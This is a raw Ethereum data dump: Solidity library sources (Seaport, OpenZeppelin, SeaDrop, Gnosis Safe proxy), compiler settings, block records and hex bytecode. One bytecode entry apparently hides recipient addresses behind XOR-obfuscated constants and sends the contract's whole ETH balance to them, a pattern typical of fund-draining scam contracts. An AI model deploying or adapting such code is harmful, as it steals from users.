}\n\n /// @dev Reads the int144 at `mPtr` in memory.\n function readInt144(\n MemoryPointer mPtr\n ) internal pure returns (int144 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int152 at `mPtr` in memory.\n function readInt152(\n MemoryPointer mPtr\n ) internal pure returns (int152 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int160 at `mPtr` in memory.\n function readInt160(\n MemoryPointer mPtr\n ) internal pure returns (int160 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int168 at `mPtr` in memory.\n function readInt168(\n MemoryPointer mPtr\n ) internal pure returns (int168 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int176 at `mPtr` in memory.\n function readInt176(\n MemoryPointer mPtr\n ) internal pure returns (int176 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int184 at `mPtr` in memory.\n function readInt184(\n MemoryPointer mPtr\n ) internal pure returns (int184 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int192 at `mPtr` in memory.\n function readInt192(\n MemoryPointer mPtr\n ) internal pure returns (int192 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int200 at `mPtr` in memory.\n function readInt200(\n MemoryPointer mPtr\n ) internal pure returns (int200 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int208 at `mPtr` in memory.\n function readInt208(\n MemoryPointer mPtr\n ) internal pure returns (int208 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int216 at `mPtr` in memory.\n function readInt216(\n MemoryPointer mPtr\n ) internal pure returns (int216 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int224 at `mPtr` in memory.\n function readInt224(\n MemoryPointer mPtr\n ) internal pure returns (int224 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int232 at `mPtr` in memory.\n function readInt232(\n MemoryPointer mPtr\n ) internal pure returns (int232 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int240 at `mPtr` in memory.\n function readInt240(\n MemoryPointer mPtr\n ) internal pure returns (int240 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int248 at `mPtr` in memory.\n function readInt248(\n MemoryPointer mPtr\n ) internal pure returns (int248 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int256 at `mPtr` in memory.\n function readInt256(\n MemoryPointer mPtr\n ) internal pure returns (int256 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n}\n\nlibrary MemoryWriters {\n /// @dev Writes `valuePtr` to memory at `mPtr`.\n function write(MemoryPointer mPtr, MemoryPointer valuePtr) internal pure {\n assembly {\n mstore(mPtr, valuePtr)\n }\n }\n\n /// @dev Writes a boolean `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, bool value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes an address `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, address value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes a bytes32 `value` to `mPtr` in memory.\n /// Separate name to disambiguate literal write parameters.\n function writeBytes32(MemoryPointer mPtr, bytes32 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes a uint256 `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, uint256 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes an int256 `value` to `mPtr` in memory.\n /// Separate name to disambiguate literal write parameters.\n function writeInt(MemoryPointer mPtr, int256 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n}\n" }, "lib/seaport/lib/seaport-types/src/interfaces/IERC165.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.7;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n" }, "lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.19;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check if target is a contract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(target.code.length > 0, \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n" }, "src/lib/ERC721SeaDropStructs.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { AllowListData, CreatorPayout } from \"./SeaDropStructs.sol\";\n\n/**\n * @notice A struct defining public drop data.\n * Designed to fit efficiently in two storage slots.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token address. Null for\n * native token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct PublicDrop {\n uint80 startPrice; // 80/512 bits\n uint80 endPrice; // 160/512 bits\n uint40 startTime; // 200/512 bits\n uint40 endTime; // 240/512 bits\n address paymentToken; // 400/512 bits\n uint16 maxTotalMintableByWallet; // 416/512 bits\n uint16 feeBps; // 432/512 bits\n bool restrictFeeRecipients; // 440/512 bits\n}\n\n/**\n * @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n *\n * Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token for the mint. Null for\n * native token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct MintParams {\n uint256 startPrice;\n uint256 endPrice;\n uint256 startTime;\n uint256 endTime;\n address paymentToken;\n uint256 maxTotalMintableByWallet;\n uint256 maxTokenSupplyForStage;\n uint256 dropStageIndex; // non-zero\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/**\n * @dev Struct containing internal SeaDrop implementation logic\n * mint details to avoid stack too deep.\n *\n * @param feeRecipient The fee recipient.\n * @param payer The payer of the mint.\n * @param minter The mint recipient.\n * @param quantity The number of tokens to mint.\n * @param withEffects Whether to apply state changes of the mint.\n */\nstruct MintDetails {\n address feeRecipient;\n address payer;\n address minter;\n uint256 quantity;\n bool withEffects;\n}\n\n/**\n * @notice A struct to configure multiple contract options in one transaction.\n */\nstruct MultiConfigureStruct {\n uint256 maxSupply;\n string baseURI;\n string contractURI;\n PublicDrop publicDrop;\n string dropURI;\n AllowListData allowListData;\n CreatorPayout[] creatorPayouts;\n bytes32 provenanceHash;\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n address[] allowedPayers;\n address[] disallowedPayers;\n // Server-signed\n address[] allowedSigners;\n address[] disallowedSigners;\n // ERC-2981\n address royaltyReceiver;\n uint96 royaltyBps;\n // Mint\n address mintRecipient;\n uint256 mintQuantity;\n}\n" } }, "settings": { "remappings": [ "forge-std/=lib/forge-std/src/", "ds-test/=lib/forge-std/lib/ds-test/src/", "ERC721A/=lib/ERC721A/contracts/", "ERC721A-Upgradeable/=lib/ERC721A-Upgradeable/contracts/", "@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/", "@openzeppelin-upgradeable/contracts/=lib/openzeppelin-contracts-upgradeable/contracts/", "@rari-capital/solmate/=lib/seaport/lib/solmate/", "murky/=lib/murky/src/", "create2-scripts/=lib/create2-helpers/script/", "seadrop/=src/", "seaport-sol/=lib/seaport/lib/seaport-sol/", "seaport-types/=lib/seaport/lib/seaport-types/", "seaport-core/=lib/seaport/lib/seaport-core/", "seaport-test-utils/=lib/seaport/test/foundry/utils/", "solady/=lib/solady/" ], "optimizer": { "enabled": true, "runs": 99999999 }, "metadata": { "useLiteralContent": false, "bytecodeHash": "none", "appendCBOR": true }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "evmVersion": "paris", "libraries": {} } }}
1
19,493,328
541bb421ecfa1f44be6f1bed33bb82399ee71e9eac2a9dee6c21f0ad0bf23f28
2789fd815cf3a423837ab2951a25184e6fa8fe27afbcefe3fe1c9ab1ebb42979
b4d2c5f2d4057de0db7d83b2459b90b772bf7974
b4d2c5f2d4057de0db7d83b2459b90b772bf7974
8bee435e6e5abf22520f48bffe097a91f645b863
6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f8a727dc41d83211e47d3c0dedffc61d55593ac8984a3f7b12541f545147f71e56007557f8a727dc41d83211e47d3c0de31352e77b58875ddb7991453f8bbeed899de471c6008557f8a727dc41d83211e47d3c0de5f8b7b37c4e4163f5f773f2362872769c349730e60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea2646970667358221220f6633e93b63cdd89aa80c83349bc77ed666514ee01132bf6417773de7099de8364736f6c63430008070033
6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea2646970667358221220f6633e93b63cdd89aa80c83349bc77ed666514ee01132bf6417773de7099de8364736f6c63430008070033
1
19,493,329
fcde259ae8ae9c03984d38209e7f815f2a4cacd0c9f5d53326daedc512521898
513c3b657aed952e424525c291a60ebf96b82b07e419ce83e886bbef94e140f9
4001c1b18d5de646698b0aeb62c7411c910cc67b
a6b71e26c5e0845f74c812102ca7114b6a896ab2
e029996f71527e3b57f4de03c6d79f5406e2cf62
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <[email protected]> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <[email protected]> /// @author Richard Meissner - <[email protected]> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <[email protected]> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1
19,493,330
ac56e20cea5d75eb6e1607bfd363b31ee587dcf10d2521f8a192feb204e85ead
b5243ead1a8cafb576995b13bc4b57526da844279adf1d13c42027ffb63e16de
a7fb5ca286fc3fd67525629048a4de3ba24cba2e
c77ad0a71008d7094a62cfbd250a2eb2afdf2776
a2d9a4e25428d5b4007b6770a66bda40ce23e5e2
608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe
1
19,493,330
ac56e20cea5d75eb6e1607bfd363b31ee587dcf10d2521f8a192feb204e85ead
be77dbff7048340f145214be61cfff4f7eec9faa6cb84ebbac95aa5ade64dec7
994d5147c315b31f997d8d24b0f8ce7a9557ad31
6a8cbed756804b16e05e741edabd5cb544ae21bf
15061e372d50792b68a8e400e89a5da0e4861236
615c335150346109c2576020615ddc5f395f516020602082615ddc015f395f51116109c2576020602082615ddc015f395f51018082615ddc0160803950506020615dfc5f395f51600a602082615ddc015f395f51116109c2576020602082615ddc015f395f51018082615ddc0160c03950506020615e9c5f395f516008602082615ddc015f395f51116109c257602081615ddc015f395f515f81600881116109c25780156100d857905b60208160051b6020860101615ddc015f395f518060a01c6109c2578160051b61012001526001018181186100a9575b5050806101005250506020615ebc5f395f516008602082615ddc015f395f51116109c257602081615ddc015f395f5160208160051b018083615ddc01610220395050506020615edc5f395f516008602082615ddc015f395f51116109c257602081615ddc015f395f515f81600881116109c257801561018257905b60208160051b6020860101615ddc015f395f518060081c6109c2578160051b6103600152600101818118610153575b5050806103405250506020615efc5f395f516008602082615ddc015f395f51116109c257602081615ddc015f395f515f81600881116109c25780156101f257905b60208160051b6020860101615ddc015f395f518060201b6109c2578160051b61048001526001018181186101c3575b5050806104605250506020615f1c5f395f516008602082615ddc015f395f51116109c257602081615ddc015f395f515f81600881116109c257801561026257905b60208160051b6020860101615ddc015f395f518060a01c6109c2578160051b6105a00152600101818118610233575b5050806105805250506101005160208160051b015f81601f0160051c600981116109c25780156102ae57905b8060051b61010001518160051b6060016153f3015260010181811861028e575b505050506103405160208160051b015f81601f0160051c600981116109c25780156102f657905b8060051b61034001518160051b610180016153f301526001018181186102d5575b505050505f6106a0525f61557351600881116109c257801561033e57905b60028160051b6101a0016153f30151186103335760016106a05261033e565b600101818118610314575b50506106a05161569352610100516106a0526106a0516153f3526106a05180607f1c6109c257615413526102205160208160051b015f81601f0160051c600981116109c25780156103ac57905b8060051b61022001518160051b6102c0016153f3015260010181811861038b575b50505050336154335260646020615e1c5f395f51026106c0526106c051600c556106c051600d556020615e3c5f395f51600a556020615e5c5f395f51600b556020615e7c5f395f51156109c2576020615e7c5f395f5160235561f374602455426040524260605261041e6106e0610981565b6106e0516025555f6106e0525f610800525f610920525f61541351600881116109c257801561070a57905b80610a4052615413516001810380600f0b81186109c2579050610a405112156104ac57601954600781116109c257670de0b6b3a7640000604052670de0b6b3a764000060605261049a610a60610981565b610a605181601a015560018101601955505b61092051600781116109c257610a4051610580518110156109c25760051b6105a00151610a4051610460518110156109c25760051b61048001518060e01c90508060e01b818160e01c186109c2579050178160051b6109